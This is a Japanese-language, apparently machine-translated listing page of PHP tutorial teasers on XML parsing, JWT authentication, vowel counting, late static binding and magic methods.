あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

PHPでHTML/XMLを解析および処理するにはどうすればよいですか? PHPでHTML/XMLを解析および処理するにはどうすればよいですか? Feb 07, 2025 am 11:57 AM

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 Apr 05, 2025 am 12:04 AM

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

母音を文字列にカウントするPHPプログラム 母音を文字列にカウントするPHPプログラム Feb 07, 2025 pm 12:12 PM

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

PHPでの後期静的結合を説明します(静的::)。 PHPでの後期静的結合を説明します(静的::)。 Apr 03, 2025 am 12:04 AM

静的結合(静的::) PHPで後期静的結合(LSB)を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1)解析プロセスは実行時に実行されます。2)継承関係のコールクラスを検索します。3)パフォーマンスオーバーヘッドをもたらす可能性があります。

PHPマジックメソッド(__construct、__destruct、__call、__get、__setなど)とは何ですか? PHPマジックメソッド(__construct、__destruct、__call、__get、__setなど)とは何ですか? Apr 03, 2025 am 12:03 AM

PHPの魔法の方法は何ですか? PHPの魔法の方法には次のものが含まれます。1。\ _ \ _コンストラクト、オブジェクトの初期化に使用されます。 2。\ _ \ _リソースのクリーンアップに使用される破壊。 3。\ _ \ _呼び出し、存在しないメソッド呼び出しを処理します。 4。\ _ \ _ get、dynamic属性アクセスを実装します。 5。\ _ \ _セット、動的属性設定を実装します。これらの方法は、特定の状況で自動的に呼び出され、コードの柔軟性と効率を向上させます。

See all articles